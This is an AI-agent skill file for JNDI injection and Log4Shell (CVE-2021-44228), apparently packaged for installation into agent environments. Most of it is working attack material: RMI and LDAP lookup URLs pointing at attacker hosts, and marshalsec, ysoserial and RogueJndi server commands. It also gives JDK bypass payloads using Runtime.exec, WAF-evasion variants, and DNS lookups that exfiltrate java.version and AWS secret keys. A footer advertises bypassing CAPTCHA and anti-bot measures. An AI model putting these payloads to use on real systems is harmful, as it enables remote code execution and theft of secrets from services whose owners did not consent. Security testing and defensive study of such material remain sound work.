jndi-injection

>-

INSTALLATION
npx skills add https://github.com/yaklang/hack-skills --skill jndi-injection
Run in your project or agent environment. Adjust flags if your CLI version differs.

SKILL.md

$27

// Vulnerable code pattern:

String name = request.getParameter("resource");

Context ctx = new InitialContext();

Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"

2. ATTACK VECTORS

RMI (Remote Method Invocation)

rmi://attacker.com:1099/Exploit

Attacker runs an RMI server returning a Reference object pointing to a remote class:

// Attacker's RMI server returns:

Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");

// JVM downloads http://attacker.com/Exploit.class and instantiates it

LDAP

ldap://attacker.com:1389/cn=Exploit

Attacker runs an LDAP server returning entries with javaCodeBase, javaFactory, or serialized object attributes.

LDAP is preferred over RMI because LDAP restrictions were added later (JDK 8u191 vs 8u121 for RMI).

DNS (detection only)

dns://attacker-dns-server/lookup-name

Useful for confirming JNDI injection without RCE — triggers DNS query to attacker's authoritative NS.

3. JDK VERSION CONSTRAINTS AND BYPASS

JDK Version

RMI Remote Class

LDAP Remote Class

Bypass

< 8u121

YES

YES

Direct class loading

8u121 – 8u190

NO (trustURLCodebase=false)

YES

Use LDAP vector

>= 8u191

NO

NO

Return serialized gadget object via LDAP

>= 8u191 (alternative)

NO

NO

BeanFactory + EL injection

Post-8u191 Bypass: LDAP → Serialized Gadget

Instead of returning a remote class URL, the attacker's LDAP server returns a serialized Java object in the javaSerializedData attribute. The JVM deserializes it locally — if a gadget chain (e.g., CommonsCollections) is on the classpath, RCE is achieved.

# ysoserial JRMPListener approach:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"

# Then JNDI lookup points to: rmi://attacker:1099/whatever

Post-8u191 Bypass: BeanFactory + EL

When Tomcat's BeanFactory is on the classpath, the LDAP response can reference it as a factory with EL expressions:

javaClassName: javax.el.ELProcessor

javaFactory: org.apache.naming.factory.BeanFactory

forceString: x=eval

x: Runtime.getRuntime().exec("id")

4. TOOLING

marshalsec — JNDI Reference Server

# Start LDAP server serving a remote class:

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

# Start RMI server:

java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099

# The #Exploit refers to Exploit.class hosted at http://attacker.com/Exploit.class

JNDI-Injection-Exploit (all-in-one)

java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip

# Automatically starts RMI + LDAP servers with multiple bypass strategies

Rogue JNDI

java -jar RogueJndi.jar --command "id" --hostname attacker.com

# Provides RMI, LDAP, and HTTP servers with auto-generated payloads

5. LOG4J2 — CVE-2021-44228 (LOG4SHELL)

Mechanism

Log4j2 supports Lookups — expressions like ${...} that are evaluated in log messages. The jndi lookup triggers InitialContext.lookup():

${jndi:ldap://attacker.com/x}

Any logged string containing this pattern triggers the vulnerability — User-Agent, form fields, HTTP headers, URL paths, error messages.

Detection Payloads

${jndi:ldap://TOKEN.collab.net/a}

${jndi:dns://TOKEN.collab.net}

${jndi:rmi://TOKEN.collab.net/a}

# Exfiltrate environment info via DNS:

${jndi:ldap://${sys:java.version}.TOKEN.collab.net}

${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}

${jndi:ldap://${hostName}.TOKEN.collab.net}

WAF Bypass Variants

Log4j2's lookup parser is very flexible:

${${lower:j}ndi:ldap://attacker.com/x}

${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}

${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}

${j${::-n}di:ldap://attacker.com/x}

${jndi:l${lower:D}ap://attacker.com/x}

${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}

Split-Log Bypass (Advanced)

When WAF detects paired ${jndi:...} in a single request, split across two log entries:

# Request 1 (logged first):

X-Custom: ${jndi:ldap://attacker.com/

# Request 2 (logged second):

X-Custom: exploit}

If the application concatenates log entries before re-processing (e.g., aggregation pipelines), the combined ${jndi:ldap://attacker.com/exploit} triggers.

Real-World Case: Solr Log4Shell

# Confirm via DNSLog — Solr admin cores API:

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}

# DNS hit with Java version = confirmed Log4Shell in Solr

Injection Points to Test

User-Agent          X-Forwarded-For       Referer

Accept-Language     X-Api-Version         Authorization

Cookie values       URL path segments     POST body fields

Search queries      File upload names     Form field names

GraphQL variables   SOAP/XML elements     JSON values

Affected Versions

  • Log4j2 2.0-beta9 through 2.14.1
  • Fixed in 2.15.0 (partial), fully fixed in 2.17.0
  • Log4j 1.x is NOT affected (different lookup mechanism)

6. OTHER JNDI SINKS (BEYOND LOG4J)

Product / Framework

Sink

Spring Framework

JndiTemplate.lookup()

Apache Solr

Config API, VelocityResponseWriter

Apache Druid

Various config endpoints

VMware vCenter

Multiple endpoints

H2 Database Console

JNDI connection string

Fastjson

@type + JdbcRowSetImpl.setDataSourceName()

7. TESTING METHODOLOGY

Suspected JNDI injection point?

├── Send DNS-only probe: ${jndi:dns://TOKEN.collab.net}

│   └── DNS hit? → Confirmed JNDI evaluation

│

├── Determine JDK version:

│   └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}

│

├── JDK < 8u191?

│   ├── Start marshalsec LDAP server with remote class

│   └── ${jndi:ldap://attacker:1389/Exploit} → direct RCE

│

├── JDK >= 8u191?

│   ├── LDAP → serialized gadget (need gadget chain on classpath)

│   ├── BeanFactory + EL (need Tomcat on classpath)

│   └── JRMPListener via ysoserial

│

└── WAF blocking ${jndi:...}?

    └── Try obfuscation: ${${lower:j}ndi:...}

8. QUICK REFERENCE

# Safe confirmation (DNS only):

${jndi:dns://TOKEN.collab.net}

# LDAP RCE (JDK < 8u191):

${jndi:ldap://ATTACKER:1389/Exploit}

# Version exfiltration:

${jndi:ldap://${sys:java.version}.TOKEN.collab.net}

# Log4Shell with WAF bypass:

${${lower:j}ndi:${lower:l}dap://ATTACKER/x}

# Start LDAP reference server:

java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389

# Post-8u191 — ysoserial JRMP:

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
BrowserAct

Let your agent run on any real-world website

Bypass CAPTCHA & anti-bot for free. Start local, scale to cloud.

Explore BrowserAct Skills →

Stop writing automation&scrapers

Install the CLI. Run your first Skill in 30 seconds. Scale when you're ready.

Start free
free · no credit card